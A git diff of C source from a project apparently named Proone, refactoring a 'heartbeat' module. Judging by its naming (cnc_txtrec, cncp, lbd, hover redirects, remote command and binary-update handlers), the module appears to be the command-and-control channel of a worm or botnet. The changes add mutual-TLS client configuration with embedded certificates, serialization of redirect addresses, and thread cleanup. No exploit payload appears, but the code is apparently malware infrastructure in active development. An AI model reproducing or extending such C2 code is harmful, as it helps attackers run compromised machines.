(htbt_lbd_client_t*)ent->element; + ent = ent->next; + + pth_join(client->pth, NULL); + client->pth = NULL; + + htbt_free_lbd_client(client); + prne_free(client); + } + prne_llist_clear(&ctx->lbd.conn_list); +} + static void htbt_lbd_serve_loop (prne_htbt_t *ctx) { int fret; pth_event_t ev = NULL; @@ -1467,7 +2002,9 @@ static void htbt_lbd_serve_loop (prne_htbt_t *ctx) { } prne_assert(pth_mutex_acquire(&ctx->lock, FALSE, NULL)); - pth_cond_await(&ctx->cond, &ctx->lock, ev); + if (ctx->loop_flag) { + pth_cond_await(&ctx->cond, &ctx->lock, ev); + } pth_mutex_release(&ctx->lock); if (!ctx->loop_flag) { break; @@ -1545,19 +2082,7 @@ CATCH: // CATCH } pth_event_free(ev, TRUE); - - ent = ctx->lbd.conn_list.head; - while (ent != NULL) { - client = (htbt_lbd_client_t*)ent->element; - ent = ent->next; - - pth_join(client->pth, NULL); - client->pth = NULL; - - htbt_free_lbd_client(client); - prne_free(client); - } - prne_llist_clear(&ctx->lbd.conn_list); + htbt_lbd_empty_conn_list(ctx); } static void *htbt_lbd_entry (void *p) { @@ -1569,6 +2094,32 @@ static void *htbt_lbd_entry (void *p) { return NULL; } +static void fin_htbt_wkr (void *p) { + HTBT_INTP_CTX(p); + + ctx->loop_flag = false; + prne_pth_cv_notify(&ctx->lock, &ctx->cond, true); + prne_pth_cv_notify(&ctx->cncp.lock, &ctx->cncp.cond, false); + prne_pth_cv_notify(&ctx->main.lock, &ctx->main.cond, false); +} + +static void free_htbt_wkr_ctx (void *p) { + HTBT_INTP_CTX(p); + + htbt_main_empty_req_q(ctx); + prne_free_llist(&ctx->main.req_q); + prne_free_llist(&ctx->main.hover_req); + + pth_abort(ctx->cncp.pth); + + pth_abort(ctx->lbd.pth); + prne_close(ctx->lbd.fd); + htbt_lbd_empty_conn_list(ctx); + prne_free_llist(&ctx->lbd.conn_list); + + prne_free(p); +} + prne_htbt_t *prne_alloc_htbt ( prne_worker_t *w, const prne_htbt_param_t param) @@ -1579,6 +2130,7 @@ prne_htbt_t *prne_alloc_htbt ( param.cb_f.cnc_txtrec == NULL || param.lbd_ssl_conf == NULL || param.cncp_ssl_conf == NULL || + param.main_ssl_conf == NULL || param.ctr_drbg == NULL || param.resolv == NULL) { @@ -1593,18 +2145,22 @@ prne_htbt_t *prne_alloc_htbt ( ret->param = param; prne_init_llist(&ret->main.req_q); + prne_init_llist(&ret->main.hover_req); ret->loop_flag = true; pth_mutex_init(&ret->lock); pth_cond_init(&ret->cond); + pth_mutex_init(&ret->main.lock); + pth_cond_init(&ret->main.cond); + ret->cncp.pth = NULL; + pth_mutex_init(&ret->cncp.lock); + pth_cond_init(&ret->cncp.cond); ret->lbd.pth = NULL; - ret->lbd.fd = -1; prne_init_llist(&ret->lbd.conn_list); + ret->lbd.fd = -1; - pth_mutex_init(&ret->cncp.lock); - pth_cond_init(&ret->cncp.cond); ret->cncp.pth = pth_spawn( PTH_ATTR_DEFAULT, htbt_cncp_entry, @@ -26,6 +26,7 @@ struct prne_htbt_cbset { struct prne_htbt_param { mbedtls_ssl_config *lbd_ssl_conf; mbedtls_ssl_config *cncp_ssl_conf; + mbedtls_ssl_config *main_ssl_conf; mbedtls_ctr_drbg_context *ctr_drbg; prne_resolv_t *resolv; prne_htbt_cbset_t cb_f; diff --git a/src/proone-htbthost.c b/src/proone-htbthost.c index c69fa3d..a5b7f83 100644 --- a/src/proone-htbthost.c +++ b/src/proone-htbthost.c @@ -127,39 +127,57 @@ static bool cb_ny_bin (const char *path, const prne_htbt_cmd_t *cmd) return pth_raise(main_pth, SIGTERM) != 0; } -static void load_lbd_ssl_conf ( - mbedtls_ssl_config *conf, +static void load_ssl_conf ( mbedtls_x509_crt *ca, - mbedtls_x509_crt *crt, - mbedtls_pk_context *key, + mbedtls_ssl_config *s_conf, + mbedtls_x509_crt *s_crt, + mbedtls_pk_context *s_key, mbedtls_dhm_context *dhm, + mbedtls_ssl_config *c_conf, + mbedtls_x509_crt *c_crt, + mbedtls_pk_context *c_key, mbedtls_ctr_drbg_context *rnd) { static const uint8_t CA_CRT[] = PRNE_X509_CA_CRT, S_CRT[] = PRNE_X509_S_CRT, S_KEY[] = PRNE_X509_S_KEY, + C_CRT[] = PRNE_X509_C_CRT, + C_KEY[] = PRNE_X509_C_KEY, DH[] = PRNE_X509_DH; + assert(mbedtls_x509_crt_parse(ca, CA_CRT, sizeof(CA_CRT)) == 0); assert( mbedtls_ssl_config_defaults( - conf, + s_conf, MBEDTLS_SSL_IS_SERVER, MBEDTLS_SSL_TRANSPORT_STREAM, MBEDTLS_SSL_PRESET_DEFAULT) == 0 && - mbedtls_x509_crt_parse(ca, CA_CRT, sizeof(CA_CRT)) == 0 && - mbedtls_x509_crt_parse(crt, S_CRT, sizeof(S_CRT)) == 0 && - mbedtls_pk_parse_key(key, S_KEY, sizeof(S_KEY), NULL, 0) == 0 && + mbedtls_x509_crt_parse(s_crt, S_CRT, sizeof(S_CRT)) == 0 && + mbedtls_pk_parse_key(s_key, S_KEY, sizeof(S_KEY), NULL, 0) == 0 && mbedtls_dhm_parse_dhm(dhm, DH, sizeof(DH)) == 0 && - mbedtls_ssl_conf_own_cert(conf, crt, key) == 0 && - mbedtls_ssl_conf_dh_param_ctx(conf, dhm) == 0); - mbedtls_ssl_conf_ca_chain(conf, ca, NULL); - mbedtls_ssl_conf_verify(conf, prne_mbedtls_x509_crt_verify_cb, NULL); - mbedtls_ssl_conf_rng(conf, mbedtls_ctr_drbg_random, rnd); + mbedtls_ssl_conf_own_cert(s_conf, s_crt, s_key) == 0 && + mbedtls_ssl_conf_dh_param_ctx(s_conf, dhm) == 0); + mbedtls_ssl_conf_ca_chain(s_conf, ca, NULL); + mbedtls_ssl_conf_verify(s_conf, prne_mbedtls_x509_crt_verify_cb, NULL); + mbedtls_ssl_conf_rng(s_conf, mbedtls_ctr_drbg_random, rnd); mbedtls_ssl_conf_min_version( - conf, + s_conf, MBEDTLS_SSL_MAJOR_VERSION_3, MBEDTLS_SSL_MINOR_VERSION_0); + + assert( + mbedtls_ssl_config_defaults( + c_conf, + MBEDTLS_SSL_IS_CLIENT, + MBEDTLS_SSL_TRANSPORT_STREAM, + MBEDTLS_SSL_PRESET_DEFAULT) == 0 && + mbedtls_x509_crt_parse(c_crt, C_CRT, sizeof(C_CRT)) == 0 && + mbedtls_pk_parse_key(c_key, C_KEY, sizeof(C_KEY), NULL, 0) == 0 && + mbedtls_ssl_conf_own_cert(c_conf, c_crt, c_key) == 0); + mbedtls_ssl_conf_ca_chain(c_conf, ca, NULL); + mbedtls_ssl_conf_verify(c_conf, prne_mbedtls_x509_crt_verify_cb, NULL); + mbedtls_ssl_conf_rng(c_conf, mbedtls_ctr_drbg_random, rnd); } static void mbedtls_dbg_f(void *ctx, int level, const char *filename, int line, const char *msg) { @@ -303,7 +321,12 @@ int main (const int argc, const char **args) { mbedtls_pk_context key; mbedtls_dhm_context dhm; mbedtls_ssl_config conf; - } lbd; + } s; + struct { + mbedtls_x509_crt crt; + mbedtls_pk_context key; + mbedtls_ssl_config conf; + } c; struct { mbedtls_ssl_config conf; } cncp; @@ -377,20 +400,30 @@ int main (const int argc, const char **args) { 0) == 0); mbedtls_x509_crt_init(&ssl.ca); - mbedtls_x509_crt_init(&ssl.lbd.crt); - mbedtls_pk_init(&ssl.lbd.key); - mbedtls_dhm_init(&ssl.lbd.dhm); - mbedtls_ssl_config_init(&ssl.lbd.conf); + mbedtls_x509_crt_init(&ssl.s.crt); + mbedtls_x509_crt_init(&ssl.c.crt); + mbedtls_pk_init(&ssl.s.key); + mbedtls_pk_init(&ssl.c.key); + mbedtls_dhm_init(&ssl.s.dhm); + mbedtls_ssl_config_init(&ssl.s.conf); + mbedtls_ssl_config_init(&ssl.c.conf); mbedtls_ssl_config_init(&ssl.cncp.conf); - load_lbd_ssl_conf( - &ssl.lbd.conf, + load_ssl_conf( &ssl.ca, - &ssl.lbd.crt, - &ssl.lbd.key, - &ssl.lbd.dhm, + &ssl.s.conf, + &ssl.s.crt, + &ssl.s.key, + &ssl.s.dhm, + &ssl.c.conf, + &ssl.c.crt, + &ssl.c.key, &rnd); mbedtls_ssl_conf_authmode( - &ssl.lbd.conf, + &ssl.s.conf, + htbthost_param.verify ? + MBEDTLS_SSL_VERIFY_REQUIRED : MBEDTLS_SSL_VERIFY_NONE); + mbedtls_ssl_conf_authmode( + &ssl.c.conf, htbthost_param.verify ? MBEDTLS_SSL_VERIFY_REQUIRED : MBEDTLS_SSL_VERIFY_NONE); prne_assert(mbedtls_ssl_config_defaults( @@ -399,7 +432,8 @@ int main (const int argc, const char **args) { MBEDTLS_SSL_TRANSPORT_STREAM, MBEDTLS_SSL_PRESET_DEFAULT) == 0); mbedtls_ssl_conf_rng(&ssl.cncp.conf, mbedtls_ctr_drbg_random, &rnd); - mbedtls_ssl_conf_dbg(&ssl.lbd.conf, mbedtls_dbg_f, NULL); // TODO + mbedtls_ssl_conf_dbg(&ssl.s.conf, mbedtls_dbg_f, NULL); + mbedtls_ssl_conf_dbg(&ssl.c.conf, mbedtls_dbg_f, NULL); mbedtls_ctr_drbg_random( &rnd, @@ -428,7 +462,8 @@ int main (const int argc, const char **args) { static prne_htbt_param_t param; prne_htbt_init_param(¶m); - param.lbd_ssl_conf = &ssl.lbd.conf; + param.lbd_ssl_conf = &ssl.s.conf; + param.main_ssl_conf = &ssl.c.conf; param.cncp_ssl_conf = &ssl.cncp.conf; param.ctr_drbg = &rnd; param.resolv = resolv; @@ -466,10 +501,13 @@ int main (const int argc, const char **args) { pth_kill(); mbedtls_x509_crt_free(&ssl.ca); - mbedtls_x509_crt_free(&ssl.lbd.crt); - mbedtls_pk_free(&ssl.lbd.key); - mbedtls_dhm_free(&ssl.lbd.dhm); - mbedtls_ssl_config_free(&ssl.lbd.conf); + mbedtls_x509_crt_free(&ssl.s.crt); + mbedtls_x509_crt_free(&ssl.c.crt); + mbedtls_pk_free(&ssl.s.key); + mbedtls_pk_free(&ssl.c.key); + mbedtls_dhm_free(&ssl.s.dhm); + mbedtls_ssl_config_free(&ssl.s.conf); + mbedtls_ssl_config_free(&ssl.c.conf); mbedtls_ssl_config_free(&ssl.cncp.conf); mbedtls_ctr_drbg_free(&rnd); mbedtls_entropy_free(&entropy); diff --git a/src/proone-resolv.c b/src/proone-resolv.c index 490f861..eb3318e 100644 --- a/src/proone-resolv.c +++ b/src/proone-resolv.c @@ -165,7 +165,7 @@ static void *stdout_wkr_entry (void *ctx) { bool output = false; while (main_flag || prm_list.size > 0) { - pth_mutex_acquire(prm_cv.lock, FALSE, NULL); + prne_assert(pth_mutex_acquire(prm_cv.lock, FALSE, NULL)); pth_cond_await(prm_cv.cond, prm_cv.lock, NULL); pth_mutex_release(prm_cv.lock); diff --git a/src/protocol.c b/src/protocol.c index 5388f52..2775517 100644 --- a/src/protocol.c +++ b/src/protocol.c @@ -410,6 +410,11 @@ bool prne_htbt_eq_hover (const prne_htbt_hover_t *a, const prne_htbt_hover_t *b) a->v6.port == b->v6.port; } +bool prne_htbt_cp_hover (const prne_htbt_hover_t *a, prne_htbt_hover_t *b) { + memcpy(b, a, sizeof(prne_htbt_hover_t)); + return true; +} + void prne_htbt_init_stdio (prne_htbt_stdio_t *s) { s->len = 0; s->err = false; @@ -530,6 +535,22 @@ prne_htbt_ser_rc_t prne_htbt_ser_host_info (uint8_t *mem, const size_t mem_len, return PRNE_HTBT_SER_RC_OK; } +prne_htbt_ser_rc_t prne_htbt_ser_hover (uint8_t *mem, const size_t mem_len, size_t *actual, const prne_htbt_hover_t *in) { + *actual = 24; + if (*actual < mem_len) { + return PRNE_HTBT_SER_RC_MORE_BUF; + } + + memcpy(mem, in->v4.addr, 4); + mem[4] = prne_getmsb16(in->v4.port, 0); + mem[5] = prne_getmsb16(in->v4.port, 1); + memcpy(mem + 6, in->v6.addr, 16); + mem[22] = prne_getmsb16(in->v6.port, 0); + mem[23] = prne_getmsb16(in->v6.port, 1); + + return PRNE_HTBT_SER_RC_OK; +} + prne_htbt_ser_rc_t prne_htbt_ser_cmd (uint8_t *mem, const size_t mem_len, size_t *actual, const prne_htbt_cmd_t *in) { if (in->mem_len > 0) { if (in->mem_len > PRNE_HTBT_ARG_MEM_MAX || in->argc == 0 || in->mem[in->mem_len - 1] != 0) { @@ -692,6 +713,20 @@ prne_htbt_ser_rc_t prne_htbt_dser_host_info (const uint8_t *data, const size_t l return PRNE_HTBT_SER_RC_OK; } +prne_htbt_ser_rc_t prne_htbt_dser_hover (const uint8_t *data, const size_t len, size_t *actual, prne_htbt_hover_t *out) { + *actual = 24; + if (*actual < len) { + return PRNE_HTBT_SER_RC_MORE_BUF; + } + + memcpy(out->v4.addr, data, 4); + out->v4.port = prne_recmb_msb16(data[4], data[5]); + memcpy(out->v6.addr, data + 6, 16); + out->v6.port = prne_recmb_msb16(data[22], data[23]); + + return PRNE_HTBT_SER_RC_OK; +} + prne_htbt_ser_rc_t prne_htbt_dser_cmd (const uint8_t *data, const size_t len, size_t *actual, prne_htbt_cmd_t *out) { size_t args_len, argc; char **args = NULL; diff --git a/src/protocol.h b/src/protocol.h index f47fc65..ebb6b67 100644 --- a/src/protocol.h +++ b/src/protocol.h @@ -183,6 +183,7 @@ typedef enum { */ PRNE_HTBT_STATUS_AGAIN, PRNE_HTBT_STATUS_TIMEDOUT, + PRNE_HTBT_STATUS_LIMIT, NB_PRNE_HTBT_STATUS } prne_htbt_status_code_t; @@ -252,7 +253,7 @@ struct prne_htbt_stdio { }; typedef void(*prne_htbt_init_ft)(void *ptr); -typedef void(*prne_htbt_free_ft)(const void *ptr); +typedef void(*prne_htbt_free_ft)(void *ptr); typedef bool(*prne_htbt_eq_ft)(const void *a, const void *b); typedef prne_htbt_ser_rc_t(*prne_htbt_ser_ft)(uint8_t *mem, const size_t mem_len, size_t *actual, const void *in); typedef prne_htbt_ser_rc_t(*prne_htbt_dser_ft)(const uint8_t *data, const size_t len, size_t *actual, void *out); @@ -318,6 +319,7 @@ bool prne_htbt_eq_bin_meta (const prne_htbt_bin_meta_t *a, const prne_htbt_bin_m void prne_htbt_init_hover (prne_htbt_hover_t *ho); void prne_htbt_free_hover (prne_htbt_hover_t *ho); bool prne_htbt_eq_hover (const prne_htbt_hover_t *a, const prne_htbt_hover_t *b); +bool prne_htbt_cp_hover (const prne_htbt_hover_t *a, prne_htbt_hover_t *b); void prne_htbt_init_stdio (prne_htbt_stdio_t *s); void prne_htbt_free_stdio (prne_htbt_stdio_t *s); @@ -326,6 +328,7 @@ bool prne_htbt_eq_stdio (const prne_htbt_stdio_t *a, const prne_htbt_stdio_t *b) prne_htbt_ser_rc_t prne_htbt_ser_msg_head (uint8_t *mem, const size_t mem_len, size_t *actual, const prne_htbt_msg_head_t *in); prne_htbt_ser_rc_t prne_htbt_ser_status (uint8_t *mem, const size_t mem_len, size_t *actual, const prne_htbt_status_t *in); prne_htbt_ser_rc_t prne_htbt_ser_host_info (uint8_t *mem, const size_t mem_len, size_t *actual, const prne_htbt_host_info_t *in); +prne_htbt_ser_rc_t prne_htbt_ser_hover (uint8_t *mem, const size_t mem_len, size_t *actual, const prne_htbt_hover_t *in); prne_htbt_ser_rc_t prne_htbt_ser_cmd (uint8_t *mem, const size_t mem_len, size_t *actual, const prne_htbt_cmd_t *in); prne_htbt_ser_rc_t prne_htbt_ser_bin_meta (uint8_t *mem, const size_t mem_len, size_t *actual, const prne_htbt_bin_meta_t *in); prne_htbt_ser_rc_t prne_htbt_ser_stdio (uint8_t *mem, const size_t mem_len, size_t *actual, const prne_htbt_stdio_t *in); @@ -333,6 +336,7 @@ prne_htbt_ser_rc_t prne_htbt_ser_stdio (uint8_t *mem, const size_t mem_len, size prne_htbt_ser_rc_t prne_htbt_dser_msg_head (const uint8_t *data, const size_t len, size_t *actual, prne_htbt_msg_head_t *out); prne_htbt_ser_rc_t prne_htbt_dser_status (uint8_t *data, const size_t len, size_t *actual, prne_htbt_status_t *out); prne_htbt_ser_rc_t prne_htbt_dser_host_info (const uint8_t *data, const size_t len, size_t *actual, prne_htbt_host_info_t *out); +prne_htbt_ser_rc_t prne_htbt_dser_hover (const uint8_t *data, const size_t len, size_t *actual, prne_htbt_hover_t *out); prne_htbt_ser_rc_t prne_htbt_dser_cmd (const uint8_t *data, const size_t len, size_t *actual, prne_htbt_cmd_t *out); prne_htbt_ser_rc_t prne_htbt_dser_bin_meta (const uint8_t *data, const size_t len, size_t *actual, prne_htbt_bin_meta_t *out); prne_htbt_ser_rc_t prne_htbt_dser_stdio (const uint8_t *data, const size_t len, size_t *actual, prne_htbt_stdio_t *out); @@ -26,18 +26,10 @@ void prne_fin_worker (prne_worker_t *w) { } } -bool prne_pth_cv_notify (pth_mutex_t *lock, pth_cond_t *cond, bool broadcast) { - bool ret; - - if (pth_mutex_acquire(lock, FALSE, NULL)) { - ret = pth_cond_notify(cond, broadcast) != 0; - prne_dbgtrap(pth_mutex_release(lock)); - } - else { - ret = false; - } - - return ret; +void prne_pth_cv_notify (pth_mutex_t *lock, pth_cond_t *cond, bool broadcast) { + prne_assert(pth_mutex_acquire(lock, FALSE, NULL)); + prne_assert(pth_cond_notify(cond, broadcast)); + pth_mutex_release(lock); } pth_time_t prne_pth_tstimeout (const struct timespec ts) { @@ -25,5 +25,5 @@ void prne_init_worker (prne_worker_t *w); void prne_free_worker (prne_worker_t *w); void prne_fin_worker (prne_worker_t *w); -bool prne_pth_cv_notify (pth_mutex_t *lock, pth_cond_t *cond, bool broadcast); +void prne_pth_cv_notify (pth_mutex_t *lock, pth_cond_t *cond, bool broadcast); pth_time_t prne_pth_tstimeout (const struct timespec ts); |